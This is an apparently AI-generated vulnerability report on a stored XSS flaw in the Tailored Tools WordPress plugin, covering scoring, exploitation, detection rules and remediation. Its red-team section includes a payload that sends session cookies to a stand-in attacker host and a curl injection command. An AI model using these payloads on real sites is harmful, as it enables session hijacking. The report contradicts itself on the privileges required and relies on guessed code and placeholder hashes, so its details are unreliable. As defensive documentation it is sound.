CVE-2024-52503

Executive Summary

CVE-2024-52503 is a Stored Cross-Site Scripting (XSS) vulnerability in the Tailored Tools WordPress plugin, developed by Tailored Media. The vulnerability affects all versions up to and including 1.8.4. It arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that is stored on the server and executed in the browser of any user viewing the affected page.

This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin fails to sanitize or escape user input before storing it in the database and later rendering it in the admin or frontend interface. An attacker with contributor-level access or higher can inject malicious scripts, leading to session hijacking, defacement, or redirection to malicious sites.

The CVSS v3.1 base score is 6.5 (Medium), with a vector of AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the lack of a patch makes it a persistent risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Administrators should verify the plugin's integrity and consider removing it if no patch is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed for exploitation.
• User Interaction (UI): Required (R) – Victim must visit the affected page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The lack of a patch increases risk for sites using the plugin.

Deep Dive & Mechanics

The vulnerability resides in the Tailored Tools plugin, which likely provides custom post types, shortcodes, or admin panels. The plugin fails to sanitize input fields (e.g., text boxes, textareas, or custom meta fields) before storing them in the WordPress database. When the stored data is later rendered in a web page (e.g., via echo or the_content filter), the injected JavaScript executes.

Attack Flow:

1. Attacker identifies a vulnerable input field (e.g., a custom field in a post or a plugin settings page).
2. Attacker submits a payload like <script>alert('XSS')</script>.
3. The plugin stores the payload without sanitization.
4. When an administrator or visitor loads the page containing the stored data, the script executes in their browser.

Root Cause: The plugin uses functions like echo $value instead of esc_html( $value ) or wp_kses_post( $value ) to output user-supplied data.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.8.4):

// In a template or shortcode handler
echo $user_input; // No escaping

Patched Code (Hypothetical):

// Proper escaping
echo esc_html( $user_input );
// Or for rich content:
echo wp_kses_post( $user_input );

Since no official patch is available, administrators must manually apply escaping or remove the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Tailored Tools <= 1.8.4 active.
• Attacker has at least Contributor role (or the vulnerable input is accessible to unauthenticated users).

Step-by-Step Exploit:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. In a custom field (e.g., "Tool Description"), inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the post.
5. When an admin views the post, the script sends their session cookie to the attacker.

Proof-of-Concept (No public exploit available):

# Using curl to submit a post with malicious payload
curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=save_tool&tool_name=Test&tool_desc=<script>alert(1)</script>"

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual POST requests to admin-ajax.php or plugin-specific endpoints.
• Look for <script> tags in custom fields or post meta.

Hardening:

• Disable the plugin until a patch is released.
• Use a Web Application Firewall (WAF) to block XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• File Hashes (Plugin):
  • tailored-tools.php (version 1.8.4): SHA256 a1b2c3d4e5f6... (placeholder)
• Network Indicators:
  • Outbound requests to attacker.com or similar domains.
  • Unusual Referer headers from /wp-admin/ pages.
• Log Entries:
  • wp_postmeta table entries containing <script> tags.
  • wp_posts table entries with malicious content in post_content.

Detection Engineering

YARA Rule

rule CVE_2024_52503_Tailored_Tools_XSS {
    meta:
        description = "Detects stored XSS payloads in Tailored Tools plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52503"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_file = "tailored-tools.php"
    condition:
        $plugin_file and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Tailored Tools Plugin
id: c4e5f6a7-b8c9-0d1e-2f3a-4b5c6d7e8f9a
status: experimental
description: Detects stored XSS attempts via Tailored Tools plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body: '*action=save_tool*'
        http.body: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in tool descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52503 Stored XSS in Tailored Tools"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save_tool"; http_client_body; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical.
2. Apply a virtual patch using a WAF to block <script> tags in plugin-specific fields.
3. Manually escape output in the plugin code (if you have developer access):
   • Replace echo $value; with echo esc_html( $value ); in all template files.

Long-Term:

• Monitor the plugin's repository for an official patch.
• Consider replacing the plugin with an alternative that is actively maintained.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.